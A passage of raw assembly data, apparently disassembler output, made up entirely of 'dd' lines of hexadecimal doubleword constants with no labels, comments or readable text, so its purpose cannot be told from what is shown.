		dd 0A0F68101h, 212F1DDEh, 7ED8C9EBh, 0BAC4BBDh,	897FE419h
		dd 0A4290C6Ch, 828BC524h, 73D46951h, 0D6B07C55h, 959D902h
		dd 8B2A3D85h, 3ACDFF63h, 0D167DD60h, 5BA2E060h,	52BD3C64h
		dd 9AEB35D7h, 5B80DF12h, 0BDD0718Dh, 890D3A9Bh,	240B0927h
		dd 5EBDE346h, 2A73D66Fh, 0DC0BAFEAh, 14FF60B6h,	58A2939Ah
		dd 0B1EFCFEh, 3A1243BAh, 66F2F107h, 0CA677732h,	0CC765586h
		dd 1C184676h, 5C8106C6h, 81B52B0Dh, 25313864h, 0BD049DBDh
		dd 0D7BDAA90h, 2F002EACh, 0EDEFCDFEh, 258BC022h, 0A502F8F2h
		dd 879D5EF7h, 7D821611h, 0C2EC7E3Ch, 14101496h,	951F9948h
		dd 9DFAA0B9h, 40023159h, 10407DF3h, 0BE660A61h,	5C42DDC4h
		dd 0CD011946h, 0CF1AB17Ch, 45F97F6Ch, 55AF7400h, 60D22968h
		dd 0AC2D3B00h, 0A88A3DC3h, 30C2E6CFh, 9DA25849h, 0ADB62F21h
		dd 7DB0C781h, 0B87A5F61h, 0FF0E9304h, 0BE013015h, 3F8F13E4h
		dd 16D9EC0Bh, 603456BFh, 660983BFh, 52940A03h, 37F0B70Fh
		dd 0E454F25Ah, 91F6580Ch, 628EF428h, 61601502h,	2E37E6Dh
		dd 0FFF7A9E9h, 0E14A6DC6h, 88CBC83Ah, 3B0901EAh, 0B5D7C12Fh
		dd 0F8C982DFh, 0E6D9D2E5h, 31D35AB5h, 810E1051h, 0D15E2C12h
		dd 8C543EDEh, 81E72800h, 309F0CCFh, 0F9351E5Bh,	1B23C33Ah
		dd 3C799D00h, 4C5035Ah,	8589AE7Fh, 0EF6395B1h, 901371B4h
		dd 2C0B009Ch, 56906CD6h, 9E3DB560h, 1B50AF61h, 0BE87B879h
		dd 40F8047Eh, 0E2B5BDB2h, 31F9004Bh, 0EE825E1Ch, 29470060h
		dd 5BE66AE7h, 905E6137h, 0F66BAFh, 0B72A3F10h, 536AB86h
		dd 0F886966h, 4823158Ah, 101D6A2Dh, 0A7811511h,	22E9534Bh
		dd 0FF9B0066h, 7D4C7475h, 0FCB10386h, 5F5A5EE4h, 80606000h
		dd 81668AD1h, 36DF14C1h, 4602D361h, 0F5064C1Ah,	0BE0235F0h
		dd 898B87Bh, 4954190h, 7026BF08h, 0F19F579Ch, 34C37E5h
		dd 0F7C78002h, 33C57FA0h, 34E00C4Ch, 0C6C24EF9h, 7178FF15h
		dd 0FAD041B3h, 0C59D1289h, 4DB8A42Eh, 21DD55D6h, 71B06636h
		dd 0B01F134h, 9E91C419h, 4D21F98Bh, 90013F1h, 145E7595h
		dd 0E1311E73h, 93A8276Dh, 0C09FD63Eh, 44DE8105h, 275295Eh
		dd 0F070A3FBh, 4F843B8h, 7C1A2C4Fh, 338282D4h, 1204B2E1h
		dd 0D865200Eh, 5200FFC2h, 54C84DB8h, 12A170A2h,	0B261E188h
		dd 97EE0038h, 0CBCEE0F6h, 2F227D6Ah, 2C1607FFh,	2F1A5021h
		dd 80519F5Dh, 0CAC265BBh, 510B1F9Eh, 0C7F85FFCh, 2345B935h
		dd 0E39701F8h, 0CF53730Bh, 0B2792760h, 0DBF4BDDBh, 89691DD6h
		dd 6F91402Eh, 0FEDA4090h, 306A14BCh, 2D07B508h,	5D7C14A4h
		dd 1714818Eh, 993FCCBBh, 2EAA1700h, 72AEFD32h, 25AF1604h
		dd 5F5BC65h, 1821BD83h,	102228E2h, 2DC70EA0h, 59E90D16h
		dd 0A11EF31h, 1D405929h, 157CBF01h, 0AC175CF4h,	798D8904h
		dd 0A99D8813h, 1AE9BFA8h, 0FA8A70A1h, 0FD21022Bh, 5445B202h
		dd 1C9E611Dh, 7AC94D8Dh, 970FACE9h, 0A5C1C7A6h,	0D9F6A4CDh
		dd 6618F85Dh, 3CA96B02h, 6AECBCEAh, 0B2BAD193h,	8C200ADCh
		dd 0D0CC07h, 4AF0E38Eh,	0F88B3416h, 0C8B65F71h,	0E4F1102Fh
		dd 916116F2h, 879CC8B1h, 0F6D1BCh, 0C6C929E1h, 52BE93EDh
		dd 4EADA140h, 0E4037709h, 0F2C6855Fh, 0DB190075h, 4D085671h
		dd 0D8820298h, 0EECB6229h, 2E25F9C3h, 0D1F24652h, 4D386608h
		dd 0F535090Ch, 8912611Ch, 0A6B62404h, 4C296AE0h, 6EC4E001h
		dd 0E97C1BFCh, 612703C5h, 0AC177B07h, 0A60400Dh, 651E1E4Eh
		dd 46845A37h, 15F6B0FBh, 3E936DF0h, 70E60312h, 2E10391Eh
		dd 4267C50h, 0E41AEA12h, 22B9AA71h, 0A31777ACh,	4E07FB92h
		dd 5A53BF3h, 0AA661DA1h, 0AF8C0DF0h, 3626BD5Ah,	4B294EB4h
		dd 702C356h, 0E20919E9h, 713C7B1Dh, 12FD7EF1h, 15306702h
		dd 46791BEAh, 5E5A8CA8h, 53DB4612h, 895C3B80h, 4DB21995h
		dd 0CDD82B25h, 0AA99C467h, 0CDD26DFCh, 0C9626CF2h, 0FBE80493h
		dd 8DBA8680h, 6B071F15h, 74782C61h, 0B3051746h,	81E13C8Eh
		dd 2053D72h, 0AF3173F8h, 0BC0084B5h, 0A336AEF9h, 985C2403h
		dd 66108ECh, 57316849h,	0B05F2DF9h, 6A817037h, 93D43DBDh
		dd 90F08370h, 6CDEBD83h, 128813D6h, 3191B033h, 9D440845h
		dd 1923282Eh, 9A350C00h
		dd 90215CBAh, 6B12D72h,	1D8E798h, 1186F282h, 0D82AD59Dh
		dd 9122998Ch, 5BFE208Eh, 51A821F3h, 0B123031Bh,	0AE6C0521h
		dd 0C1440493h, 294B990Bh, 7492A822h, 17D1E68Bh,	0BE6BA1E5h
		dd 0EEF29390h, 25091C90h, 0B655801Fh, 0BEB907AFh, 0EDF73816h
		dd 146D6D04h, 0B4585E05h, 3D975D8Bh, 0C6288272h, 8BD96D1Eh
		dd 0C2D78100h, 26704C4Bh, 0F4A3C183h, 430FC3Ah,	0F9BD29F3h
		dd 8B69BCB1h, 9E010317h, 8CD885BCh, 4EE643C1h, 153152F4h
		dd 8D0CCDBDh, 97AC105Ah, 5A1C6510h, 55A28D22h, 0F4CBD6h
		dd 0D08DA858h, 70EBC1B9h, 97A8F059h, 498778DBh,	9DED5279h
		dd 7FB5F1E1h, 5B261EECh, 659860B6h, 3F017781h, 3C24A44Bh
		dd 5C209F57h, 0C32B275Eh, 0B5F25D40h, 0D1CF9BB6h, 49E92A62h
		dd 0F4597455h, 0CAE3C800h, 0EFD8E835h, 0C056CB8Eh, 2CC2FE6Dh
		dd 0D9CF414Eh, 9AA5D055h, 0B4C0615Bh, 9359E40h,	0E2CD8D27h
		dd 0C9D68269h, 95035214h, 4F13B4A0h, 604F362Eh,	827DBC3h
		dd 329952Fh, 74D8611Ah,	0AA08DCD0h, 0B95CCBAh, 4C53122Dh
		dd 9B3B6266h, 734D78FAh, 64AD6D25h, 0FB1000Bh, 22CB86D7h
		dd 2C009C3Eh, 93DA7FD1h, 24FF05FDh, 2D2EBD33h, 5F95A016h
		dd 81BE8B1Fh, 0E3E4EF8Eh, 6E664F86h, 0F828A848h, 369145EFh
		dd 758D404Eh, 0D3419089h, 57F604ADh, 3DC725Eh, 0EAA99109h
		dd 0E9F19F27h, 0E243100Fh, 6EF5583Ch, 57AC8100h, 6A39CA8Fh
		dd 664E5827h, 0F7B0CB4Ah, 0CD59182h, 0FE6C61AFh, 0AED34D28h
		dd 0D2F34DA6h, 0EBDE410h, 9509FC02h, 86912F69h,	5DAD3859h
		dd 2707B825h, 0A0814BC5h, 711FE5DFh, 0F2FB36C0h, 0A3777671h
		dd 0D1778C5h, 0F83CC476h, 9EF92871h, 0EA887D45h, 81042B39h
		dd 79C0D0EEh, 0B524E942h, 5B554809h, 378758DEh,	213A3A9h
		dd 7368FB60h, 858079FBh, 0A8259935h, 52EA8EB9h,	8D210C80h
		dd 62116B91h, 0F3F6AB7h, 0FF958BA1h, 0C952C960h, 8FCD032Bh
		dd 7E97A6C1h, 18B86C8h,	5A51B7C5h, 0D57F6ABEh, 59A0EA46h
		dd 0A9A5CBBAh, 0E12583EEh, 0A4E65701h, 14518D10h, 0CB4A8B2Ah
		dd 6964F0F8h, 8805C670h, 6F4BA896h, 0CF2B2449h,	0E9A86355h
		dd 0EC70B7E0h, 745CFF01h, 0D399D23h, 6061F900h,	0D6AD7EBFh
		dd 93C26414h, 0F702D2E4h, 13E59Dh, 4DB8161h, 36FF714h
		dd 12512C6h, 713870F6h,	5F3C6C80h, 1A6DCE6Ah, 3EF1339h
		dd 0BB694B92h, 0B53812D5h, 0A5A6BE12h, 9F6235F0h, 0BD0974C2h
		dd 54467861h, 0ABE488Bh, 4C51EDC8h, 3F2164BAh, 0E8011923h
		dd 14F799AAh, 61147131h, 0F301276Bh, 8E018C7Fh,	2515482h
		dd 94C88022h, 0F2AEE38Eh, 0BAD2C8F4h, 0EDB0ABB6h, 1D2E9DF9h
		dd 1090F8C8h, 4065C440h, 0ED3F829h, 881EB95h, 8B001A75h
		dd 0E952D9Dh, 519D595h,	0FABBBE66h, 5D225F49h, 0A500DE53h
		dd 0CD9FE6F6h, 70530006h, 74930328h, 1A001B32h,	66604771h
		dd 98AE85B9h, 34D802C5h, 8B5F61F4h, 690F47A7h, 9529BC10h
		dd 3D136545h, 0BB1F4A24h, 28C0F19Ah, 2991B501h,	0BD44D389h
		dd 0B0806EE8h, 23705426h, 2AE28690h, 9D605E80h,	0A857C004h
		dd 5FAF62D1h, 91D8B561h, 29EC8014h, 0A433498Dh,	64A295D4h
		dd 0C571810Fh, 249A8810h, 0FABED5C4h, 0C17C00DCh, 9FB2FA50h
		dd 6D8809E8h, 27701D18h, 467F4025h, 5F526084h, 0CE527498h
		dd 0CC9E6BD5h, 582101E5h, 55413ACFh, 0C1A032AAh, 0C899D2Bh
		dd 615E0709h, 5C013185h, 979B34F0h, 2E02F0h, 6ACA961Ah
		dd 66ECB80Bh, 0CB19BF15h, 94011F58h, 0C4CEE302h, 7CA0624Ch
		dd 3809DCFDh, 79DDBD33h, 0E9612E41h, 5FC0C9CDh,	9E94FDBh
		dd 3F9A28E1h, 16D16A59h, 0BF247918h, 0D207B6EBh, 7606223h
		dd 91E99D61h, 0B3ED2D25h, 0D29FC5C0h, 73312646h, 0DB02DE89h
		dd 0C44E90DDh, 3D67C1CCh, 0C18B01CEh, 0D5C8CD60h, 25BABCC0h
		dd 0EDE75546h, 3F0438C2h, 5C043808h, 0BD236009h, 8D77289h
		dd 1AA9950Bh, 5E91A31h,	0E88A6103h, 0D1008744h,	0B3A39FAh
		dd 5AF98B68h, 85FD9B5Eh, 6CEC31A7h, 0FC5B837Ch,	542045CDh
		dd 0E80A400Dh, 7D9508E6h, 459335B7h, 0C5E524C3h, 0C398B04h
		dd 95B52901h, 1665902Bh, 7D66BD6h, 97D194B4h, 382B7E51h
		dd 521D6896h, 0E0C9B646h, 0FCE01170h, 2EF002E1h, 0C4E81032h
		dd 7BFFCD4Ah, 0C90C581Bh, 20B3830Bh, 48CDC2Bh, 0AFBD8B4Ch
		dd 1D8CE8ACh, 0F905530Dh, 78BE85Fh, 0F07AE6FBh,	32FCE0D4h
		dd 0D95C54B1h, 0B79DC570h, 90B0087h, 0F8B33BDEh, 0D8F65F07h
		dd 0A18CE83Dh, 218D1403h, 417E6428h, 59C3300Dh,	310B1B40h
		dd 0E8E1F1BDh, 0F63BA41Eh, 2611A4C9h, 0EDE5ECAAh, 9157088h
		dd 0B5516001h, 2BF45F8Fh, 1C392095h, 34A35A48h,	0D9FD6BE4h
		dd 8006AEB8h, 0AD67D933h, 66215874h, 94800988h,	0AA706551h
		dd 61EF0E31h, 75D8E864h, 0F262B70Fh, 731BD538h,	0A95ED248h
		dd 0B122D1A8h, 0DB77692Ah, 0C6C090EDh, 9BAF195h, 840FE6C1h
		dd 0CA985579h, 8306FDB4h, 8D49BDB1h, 773CE80Dh,	26206E6Bh
		dd 0F1050C57h, 24CCE7A5h, 19CFCDBh, 0BC9634E0h,	8659C918h
		dd 93CDD728h, 2FB52F8Ch, 281FF13Dh, 7405F080h, 1E655B5Ch
		dd 2DD8E8FCh, 0BF00143Dh, 3AE46B9h, 0A4D24B5h, 0C994282h
		dd 2249D27h, 6DA2E806h,	2B272DB0h, 30040C73h, 25619E25h
		dd 1000B0B7h, 118BD202h, 99E65089h, 9AFE0DE1h, 29DF69E8h
		dd 0FAF3B809h, 0FB8F028Eh, 0CF1B589h, 1B717082h, 0F4B65Ch
		dd 0BDA9CA9Fh, 202785BAh, 3B61F24h, 17B06A67h, 17C4C506h
		dd 0B0F167BDh, 0E8305E1Ch, 8D89D101h, 0B548A8CDh, 5F6F9517h
		dd 22E1A340h, 0EC07026Ch, 290A8844h, 940EA5Eh, 0A801ADBDh
		dd 8204C0E2h, 31D2D463h, 28407B66h, 0AAF12E80h,	34002445h
		dd 0AEA9AF2Dh, 35021DACh, 318D01A1h, 4D34822Fh,	0BC885218h
		dd 4310A5FAh, 0EF12B22Ah, 0A2BE1D58h, 37B10458h, 0F9ABB05Eh
		dd 453B8BCh, 4069EE1Dh,	80C0BCFDh, 73B2C684h, 0C5F64AE8h
		dd 76FB0h, 95C45D7Eh, 415A1A7h,	0FBA5261h, 547E980h, 0C9852960h
		dd 0F4612B92h, 0A24DA7BCh, 0F84C8E0h, 8B02448Dh, 69F9F272h
		dd 0E6F1B8ECh, 6C332CA5h, 1BA03BE8h, 0F3816001h, 1182D789h
		dd 4AF0E6F6h, 0BD869061h, 0B2B70D15h, 0D44F742Eh, 6D8F1000h
		dd 0B0C9DB11h, 0D82B0E29h, 0C28B523h, 4B60500Eh, 0F058252h
		dd 40885431h, 0B08BF315h, 0D5ABFB00h, 6FDC562Dh, 47640475h
		dd 0BD5B663Dh, 9D1C2234h, 9B004E35h, 6DE0AB88h,	0AEE40B4Ch
		dd 0EAE6F97Bh, 0F5055590h, 5B47ED23h, 0E10FE86Fh, 84D00F96h
		dd 0BAE034B1h, 2BBCA28Dh, 60B784h, 6BF5804Eh, 5809B966h
		dd 531A89DFh, 0C59B70D7h, 0CF9D8726h, 87EE700h,	0BC044289h
		dd 0A201DC07h, 3FA352A0h, 206A6E47h, 76D0E4BFh,	23395500h
		dd 40DD8B7Eh, 42170161h, 0ED86A146h, 0FC812B53h, 5901270Dh
		dd 199452F5h, 5ED09953h, 0E1A495DEh, 4F95100Dh,	9580179Bh
		dd 82F18DDBh, 6B867709h, 42962989h, 539B298Ah, 2E9A706Ch
		dd 1745ECC4h, 85096000h, 2B9E1B11h, 4313988h, 0B38F0F61h
		dd 40452889h, 75E81A62h, 0E848A429h, 82D012F5h,	87450BBDh
		dd 9C0EFA1Dh, 97595559h, 1357C97Ch, 0C0B9DAFAh,	59268F03h
		dd 0A2EA06E2h, 92CBB70Fh, 4F2859Fh, 0ADE24956h,	0C9609000h
		dd 0F318F69Fh, 3BB39C2Eh, 0AEC08200h, 7EB7341Fh, 9E6B6560h
		dd 5A8D5971h, 0CF5620CAh, 64643235h, 26E722E6h,	0BE069375h
		dd 5E5F9A3Bh
		dd 11E9256Ah, 0E1036D5Fh, 2E4C8E83h, 81C125AAh,	11C45B5h
		dd 0EE5BD2Bh, 433DD858h, 3F824B0Fh, 618E0C30h, 4124A794h
		dd 505C24DEh, 0B17512AAh, 3774A500h, 924200B5h,	38D464E4h
		dd 93F3BD1Dh, 1ACAC1A7h, 9A5B7F27h, 128C8072h, 9845CB6Fh
		dd 6610FF97h, 3850C0BFh, 13406983h, 0D9FDA052h,	56AD665Ah
		dd 0C718101Ah, 0F8360FAh, 3AB98Ch, 3F643B9h, 1E6E930h
		dd 59B77F95h, 890F4A87h, 60E9152Ch, 3FF40B0Ah, 7C019CAEh
		dd 3A125976h, 9B2B6AB6h, 0B2F5C14Fh, 31F0AC40h,	6A7F0EA1h
		dd 0CC529589h, 18BF602Dh, 95F78BCAh, 82C78F75h,	570D627Dh
		dd 2DECB5Eh, 13D9374Ah,	0A292850Fh, 44D1B001h, 2B5482E0h
		dd 560E918Dh, 12E98BEFh, 4A01E553h, 2CDB2E45h, 14D5CECh
		dd 7A38CB44h, 48E8C21Bh, 6600AAABh, 4E6DBAD5h, 0E20DD6BFh
		dd 0A04801B2h, 62F0ABB8h, 205EFD8Ch, 2290F9F7h,	0D57110BBh
		dd 4EF2FD0h, 8D8B79FFh,	8A4CA015h, 0BCA9C549h, 0CE0E4C9Fh
		dd 0C0C41939h, 0B0F18016h, 0FB97E99Eh, 38894CDAh, 7615D155h
		dd 9B001A46h, 33E8C68Ah, 889D1F21h, 10AA095h, 0C62D7B16h
		dd 0E0B7BFABh, 0B02ACE01h, 64D0BA40h, 1DF990C2h, 250659Bh
		dd 5F01AC46h, 5E4926D4h, 3B12CDC6h, 0DF02D36Eh,	0E80D1525h
		dd 5F005A44h, 6EB5C6E1h, 6510E3h, 0F514F289h, 8A0FDECCh
		dd 0BB018691h, 467F48BAh, 0DA28217Ch, 33121282h, 0CD76E04Ch
		dd 0C9F0741h, 9AF12509h, 0FEB72Dh, 38BFD0E3h, 82EC80FEh
		dd 0BD290105h, 33043371h, 10121385h, 6E4A95F4h,	0A930075h
		dd 1191C19Fh, 0B0033997h, 89F9F924h, 607E4D9Dh,	0E0366DA7h
		dd 0F557E294h, 0F2DDCB2h, 5F7FE663h, 0E3652060h, 0D70B3CA4h
		dd 0FF0D02ADh, 97B3A648h, 9E666500h, 537C643h, 0BBA21D61h
		dd 6D8D1C94h, 8A026EEAh, 0FF021CB9h, 0D92161D1h, 0E372BF2Ah
		dd 895727ABh, 80A96C08h, 0F026A5Bh, 905ADABFh, 20EA7BD4h
		dd 0B1E3C19h, 0A63E6C00h, 0C003E7C8h, 421ECD9h,	4731F214h
		dd 8422BFE0h, 0DCB27490h, 38542E01h, 1B81213Dh,	0D1B8C145h
		dd 9519587h, 0FEF4CC7Ch, 7B11B753h, 6C2C804Ah, 7292B881h
		dd 3E74C0h, 0AA913888h,	7CB41D8h, 0BB665B04h, 4DF83C4Ah
		dd 0AADE9680h, 0BD02443Fh, 0FA0F3EE7h, 7A174D7h, 9B6FE95Fh
		dd 1C64CC79h, 209D9788h, 89082FFDh, 2828C9B5h, 93DA11A9h
		dd 27C1104Bh, 50FA8A02h, 8F71860Fh, 7A52FE12h, 6281559Bh
		dd 0C41C4FE8h, 0A498255Bh, 92C0120h, 0D318D29h,	0A5675B57h
		dd 4D71DB7Bh, 0E0ECC8h,	89441BA4h, 0F860BFF3h, 15DDE0C4h
		dd 50556109h, 516F95F9h, 59DA5D69h, 202FA690h, 0C4E34606h
		dd 0F01FD70h, 0AA6FB66Ah, 435AFC01h, 4030C622h,	0B5FFDEF8h
		dd 0F8AA0BEh, 8A42D180h, 0A8765DD8h, 6A68E942h,	0CF6740E1h
		dd 5104BDB0h, 0CE84412h, 0A2EEB443h, 0E8ED5E0h,	16764300h
		dd 0E65F5C88h, 2E649D70h, 0E1C6D500h, 0F8FE606Fh, 378401C0h
		dd 7973563h, 759F7091h,	165B2340h, 0F26071E4h, 83A93DD7h
		dd 90C27BF7h, 0F548881Dh, 0B5952431h, 2597ACB6h, 61D0C97Fh
		dd 62365F6Bh, 0AEE7801Eh, 80C8B649h, 74A80E6Bh,	68E95463h
		dd 0FA7E0EB0h, 1E008CD0h, 4E49E0A7h, 0F130E302h, 0D67CDDCFh
		dd 25BD6150h, 85C11213h, 9D53C5D7h, 33785630h, 62E700B1h
		dd 50AC2C69h, 9813037Fh, 7604D268h, 0E4F15BDAh,	1F594410h
		dd 5FAC00C9h, 7C6E445Ah, 1E27EF28h, 9CC54454h, 0B5442FF5h
		dd 2518F795h, 0E6C02BF9h, 0EEA012F7h, 0D18B0763h, 1B0CB6BBh
		dd 0E6A87ED9h, 0C7174132h, 0F8737A85h, 1FA0959Dh, 9F6BF381h
		dd 8F4ABE2Ch, 2AF2071Fh, 0E098C404h, 0B59D3131h, 43D03B13h
		dd 108411BDh, 2C05108Dh, 0B3EE915h, 97DEF12Ah, 8056C018h
		dd 5B34DB12h, 4584C9E4h, 99432024h, 0A57994E1h,	0B2FE2D1Ah
		dd 0D771E4h, 0FAD2EF81h, 10970999h, 26B58D3Bh, 55BCD7Bh
		dd 95219D33h, 0E8A8F928h, 0B029FC61h, 25CB96BEh, 185A255Bh
		dd 4ACFD929h, 74C8BB56h, 49951009h, 0B95B0F2Ah,	0A6EBB2DAh
		dd 0EEAAF029h, 4B5001F8h, 2D6C7037h, 7E3749C7h,	12167E08h
		dd 0C5770460h, 5DF61003h, 0D361282Dh, 0DC9BFC5Fh, 0D8D3F80h
		dd 82141A32h, 10A157B3h, 0FC052001h, 4E058509h,	3412B8A8h
		dd 284DFD02h, 3AD30BBAh, 33D051F5h, 8ED161C2h, 0F0E983D0h
		dd 3795F475h, 0C0550296h, 26561BFBh, 5F602547h,	0C21271h
		dd 230DE401h, 9B6C16F2h, 31483207h, 3FB875BDh, 819B904Eh
		dd 0E724AFC3h, 0BD09C779h, 13397A65h, 0AD140595h, 0BC8E82Fh
		dd 7CE203A9h, 0C0FF8585h, 0E5CECBDBh, 0DA52099Fh, 50DE3C58h
		dd 188DC2BDh, 0EF08C103h, 199559A5h, 0FF6E2A58h, 40ADE26h
		dd 0C12AEFF4h, 228952Ah, 4044F6E9h, 0F8F7DDC0h,	4FC51300h
		dd 81F24CB3h, 14660BEBh, 0FB826CFBh, 0F00B12FDh, 3D8E6965h
		dd 0F7C18B4Dh, 63F0A943h, 0BD86A010h, 271B4921h, 0E090F6D2h
		dd 5D08C80h, 1419FBCEh,	754481EAh, 898D0308h, 0C824E80h
		dd 0D81BD03h, 5BE1FF02h, 5E5D7281h, 8CBF0A42h, 1670393h
		dd 0CD40A99Dh, 2A43D99Bh, 2E057710h, 0C720EE56h, 160E512Bh
		dd 7C220110h, 1799BF05h, 12224AC2h, 34096003h, 48BDB705h
		dd 4FC60B00h, 12BDF6AAh, 0EEEC51h, 9548D350h, 9BDF960h
		dd 40455603h, 85B434AEh, 0FF587100h, 30ECF368h,	0E1801560h
		dd 0CAAC4204h, 52DE4E1Fh, 16AB26C4h, 0FE8B3A80h, 31B52529h
		dd 0C90A8440h, 75DD89A1h, 69B3A18h, 8221CC80h, 1F0869C7h
		dd 0BD0AE819h, 10568980h, 151AB71Eh, 0FA850C2Eh, 5F164B26h
		dd 1159BD05h, 4F7E3AB5h, 1989330Ah, 66B7892Bh, 0A43C2301h
		dd 82F8C287h, 0B93125ECh, 2982E6F1h, 51BE585h, 4DFB8151h
		dd 505B011Ah, 0DB5C9B38h, 876CDB4Ah, 71F007F4h,	0D466DF80h
		dd 5C58C444h, 0D7ECC451h, 42E85B8Dh, 1F03FF22h,	0F98B4060h
		dd 299C5F74h, 927C5840h, 0F742006Eh, 0F8078817h, 0C5351083h
		dd 878C7B8Bh, 0FA76008Fh, 140ED998h, 0C69F8BE1h, 4D220014h
		dd 0B2D835BAh, 9024A25h, 71ECC27Fh, 0A273645Bh,	26DD105h
		dd 586056BBh, 3B7014DBh, 5CD9023h, 9DC425ACh, 0C4EEADFAh
		dd 97DC07F9h, 74251F1Ch, 9BBC003Ch, 0F241562h, 417A2BB8h
		dd 4419CF9Dh, 0D765C030h, 0D984651h, 4A0AB920h,	0E5D32052h
		dd 0AB001C4Ch, 5DEA1FE4h, 0C7D8018h, 0F4976CD2h, 2E409D36h
		dd 7ABD905Bh, 4BB62B85h, 3E1C704Ah, 0BFBED60Eh,	8724046h
		dd 96E96779h, 8090A54Dh, 0BA07CD8Bh, 0B1752AB5h, 362D3510h
		dd 236601A0h, 1E017CBDh, 81A72076h, 8E7B93DFh, 9C7F8D9h
		dd 305B7518h, 52621D0h,	900B02CBh, 0DFB5802Ch, 0B5358BF8h
		dd 0C5E6FE85h, 22BF7AF0h, 8E62EA00h, 0F1C7809Dh, 0CA140DBBh
		dd 0C6CC2F92h, 7C5DC942h, 4000DC2Fh, 0F3D9D7D8h, 2774B4BBh
		dd 0C9318E9h, 5CFD6087h, 0C405BA72h, 0B2C0D6F8h, 89C182ACh
		dd 419D595h, 3727E51Fh,	36560044h, 0D6530C9Bh, 255B2290h
		dd 7E65C912h, 0AF1EE81h, 4468900h, 0C34BCD95h, 1E987765h
		dd 521E2AC0h, 89C0E975h, 95092434h, 0BB7BA35h, 0FDD9D23h
		dd 1AA9325Eh, 1120C928h, 694E9130h, 0B3490701h,	80803850h
		dd 16C7A964h, 0C1B6002Fh, 6B88DBCAh, 61E2607Bh,	0EEEAC6B5h
		dd 3F58995Bh, 0F37AB0CDh, 405C74C2h, 39B6D77Fh,	85BB0E4Ah
		dd 53813022h, 0C800FFF8h, 0DF23E896h, 1A6BD9h, 80847BE1h
		dd 78727A29h, 0C4645F4Ch
		dd 23511882h, 8DA7E100h, 0BC633085h, 671F5700h,	5B174003h
		dd 0D89105D6h, 0BD583C4Eh, 0E67DB898h, 1ADB076Ch, 38399D33h
		dd 14897034h, 0EB6E7Eh,	65FB2A1Bh, 2E159502h, 601BCEBDh
		dd 0D2C80BDAh, 10D70900h, 0B4686A29h, 0C8504AA9h, 451CF6A9h
		dd 0C580B502h, 27C7BB98h, 6B344884h, 0A64E714Ch, 4B6AE028h
		dd 90470921h, 0D194F5A8h, 0CD1FFF95h, 26709182h, 0BB52E094h
		dd 619B2FBFh, 0F8254737h, 62670091h, 95C7FEE9h,	85E874B3h
		dd 90AFF0B9h, 5CA8E71Bh, 0D342FFD8h, 3538275Ch,	0A7E6F74Eh
		dd 5CFB23D1h, 4155FB60h, 0DB6E812Fh, 21E958CFh,	0D584EB2Ch
		dd 30500122h, 44C1110Ch, 3DC101CCh, 0E6910E8h, 0E24C0987h
		dd 0ED5A5803h, 36EBE71Bh, 6408BC36h, 1B2CDC73h,	28295066h
		dd 58188121h, 5701139Ah, 0AB841B13h, 14E8E2A8h,	4CF948Ch
		dd 0F6093CCFh, 8F96E10Ch, 29E59741h, 3CBEA29h, 4322D82h
		dd 78F5B522h, 89EC85EEh, 0BCFB041Fh, 9931AAD1h,	0A95353A5h
		dd 71DC1E78h, 32A82417h, 24159010h, 0F508A3FCh,	85310509h
		dd 1AD8BDDDh, 76757DB5h, 8C16DC86h, 80307F3Ch, 0EE2DC8BCh
		dd 0BB8D05D5h, 0C1F37889h, 24158524h, 0C75B5B57h, 0CDE5221Eh
		dd 0BD50E015h, 0C107DF1Bh, 0D0733AD1h, 710E099Bh, 0CEDB1FAEh
		dd 41202981h, 0A16FA8AAh, 80E8CD00h, 0D479C5ADh, 0AC1C25BFh
		dd 6199EBD9h, 0F4101142h, 0DE003E54h, 0D62D55C2h, 7BC163A3h
		dd 113107EDh, 1B616637h, 3BED830Bh, 7D79BCE0h, 3D5E02D1h
		dd 0EB5558F7h, 0DB81034Ch, 2F48C161h, 5ACEE4DBh, 5D51DC01h
		dd 993C704Dh, 92FC3253h, 29A05AE6h, 0D3A7494h, 0ADBD8C33h
		dd 25855927h, 1C5B0F25h, 0E8204AD1h, 1E8F06E3h,	1FC48689h
		dd 8362EB9Ch, 89F7C2C2h, 825F56DBh, 51858957h, 415B7249h
		dd 2D2050CDh, 161CB8B3h, 4B89136h, 17CAD4B2h, 0F9948BC6h
		dd 0F439DEC2h, 0BCB4CD00h, 0B36B80B6h, 84DE17A8h, 0F08FB66Ah
		dd 186478h, 81C409E1h, 8529FBA0h, 482E5912h, 0EFC0D797h
		dd 0E16E69B5h, 60273026h, 0E0B08171h, 25F480CFh, 0B54E616Fh
		dd 930359Dh, 0CF70E95Fh, 0E0B8DC9h, 1F5D7014h, 0B07B313h
		dd 526221ABh, 0DE8B4F10h, 115B6048h, 8D172BB9h,	0A248D6E1h
		dd 6F142927h, 6B404EDAh, 81DEEF68h, 8E93A4Ch, 4E4831A9h
		dd 19742FBAh, 0AB2A00DCh, 0DCE77BFAh, 0F274C10Eh, 66BF5002h
		dd 0A9516E54h, 40D85081h, 0CF9C572Fh, 73009747h, 83EDB6h
		dd 30470177h, 5FEE6635h, 10B793ACh, 2D7474h, 67D4613Fh
		dd 8B29E77Eh, 0FD93DA50h, 0ECC91349h, 2738A4C7h, 8E46870Fh
		dd 148DCB12h, 4ABBF6BBh, 0C10C8FEFh, 8C0F3F69h,	0FB6F202Bh
		dd 99147DBBh, 2ACE2B09h, 250931Dh, 408A58CEh, 0FB155139h
		dd 0C00A9B6Fh, 0BB9ADCB3h, 4B9802ECh, 0C627A5FFh, 5D0D0D3h
		dd 0F83E0166h, 0C20D1D80h, 3F8321E2h, 0B1C7E9D3h, 0EA2B16E1h
		dd 9529C920h, 35FBC9Dh,	0FFF1AFE9h, 0BCE1B98Dh,	0AC8C071Ch
		dd 635352B0h, 8013B4E0h, 61EC320Dh, 7FFC2DD0h, 4CEA2C01h
		dd 0AEF8EC1Bh, 313A17EDh, 0E851BF82h, 0A9970E87h, 802DB7C6h
		dd 3AA788B7h, 440CBFE9h, 4A3368FCh, 919D2529h, 0CE24DED1h
		dd 744C4389h, 0B001DEE6h, 0A4CE838Eh, 0C27A5579h, 5A7430BCh
		dd 0C6BB6640h, 0A906744h, 0E007F9FDh, 6138B32Bh, 3B90A2DDh
		dd 8910BB9Fh, 770A6C77h, 989DFB70h, 0B0BD4895h,	0B030022Ch
		dd 0C79F6096h, 0E4690274h, 0ABA80155h, 0ED302F40h, 0FDF7D94Dh
		dd 0F2312FA5h, 423B8E0Fh, 0D1FFF805h, 1A4445C7h, 7A780A60h
		dd 0A72B5B09h, 4F12D167h, 93EF2DBCh, 7941F640h,	72024C6Ah
